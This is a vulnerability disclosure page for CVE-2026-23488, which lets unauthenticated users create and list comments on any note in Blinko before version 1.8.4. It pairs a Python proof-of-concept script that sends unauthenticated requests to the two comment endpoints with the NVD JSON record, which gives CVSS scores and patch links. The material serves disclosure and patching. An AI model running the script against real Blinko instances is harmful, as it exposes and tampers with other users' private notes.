CVE-2026-23488

import requests def check_vulnerability(target_url, note_id): """ Proof of Concept for CVE-2026-23488 Tests unauthorized comment creation and listing. """ # Endpoint for creating comments create_url = f"{target_url}/api/v1/comment/create" # Endpoint for listing comments list_url = f"{target_url}/api/v1/comment/list" headers = { "Content-Type": "application/json", # Note: No Authorization/Cookie header is sent to exploit the vulnerability } # Attempt to create a comment on a private note without auth payload_create = { "noteId": note_id, "content": "Unauthorized comment via CVE-2026-23488" } try: response = requests.post(create_url, json=payload_create, headers=headers, timeout=5) if response.status_code == 200 or response.status_code == 201: print(f"[+] Vulnerability Confirmed: Successfully created comment on Note ID {note_id}") print(f" Response: {response.text}") else: print(f"[-] Failed to create comment. Status: {response.status_code}") except Exception as e: print(f"[!] Error during comment creation: {e}") # Attempt to list comments on a private note without auth params_list = { "noteId": note_id } try: response = requests.get(list_url, params=params_list, headers=headers, timeout=5) if response.status_code == 200: print(f"[+] Vulnerability Confirmed: Successfully listed comments for Note ID {note_id}") print(f" Data: {response.text}") else: print(f"[-] Failed to list comments. Status: {response.status_code}") except Exception as e: print(f"[!] Error during comment listing: {e}") if __name__ == "__main__": # Replace with actual target and a valid note ID target = "http://localhost:3000" target_note_id = 1 check_vulnerability(target, target_note_id)

{"cve": {"id": "CVE-2026-23488", "sourceIdentifier": "[email protected]", "published": "2026-03-23T21:17:03.277", "lastModified": "2026-03-24T18:03:46.747", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Blinko is an AI-powered card note-taking project. Prior to version 1.8.4, the /api/v1/comment/create endpoint has an unauthorized access vulnerability, allowing attackers to post comments on any note (including private notes) without authorization, even if the note has not been publicly shared. The /api/v1/comment/list endpoint has the same issue, allowing unauthorized viewing of comments on all notes. This issue has been patched in version 1.8.4."}, {"lang": "es", "value": "Blinko es un proyecto de toma de notas en tarjetas impulsado por IA. Antes de la versión 1.8.4, el endpoint /api/v1/comment/create tiene una vulnerabilidad de acceso no autorizado, permitiendo a los atacantes publicar comentarios en cualquier nota (incluidas las notas privadas) sin autorización, incluso si la nota no ha sido compartida públicamente. El endpoint /api/v1/comment/list tiene el mismo problema, permitiendo la visualización no autorizada de comentarios en todas las notas. Este problema ha sido parcheado en la versión 1.8.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:blinko:blinko:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.4", "matchCriteriaId": "31941A3D-C688-40DF-AA55-1AF9056275D0"}]}]}], "references": [{"url": "https://github.com/blinkospace/blinko/commit/4623dd02bdeed768ffa6fea4cc2f8644cbb08c5e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/blinkospace/blinko/pull/1089", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/blinkospace/blinko/releases/tag/1.8.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/blinkospace/blinko/security/advisories/GHSA-84hm-vw62-472m", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}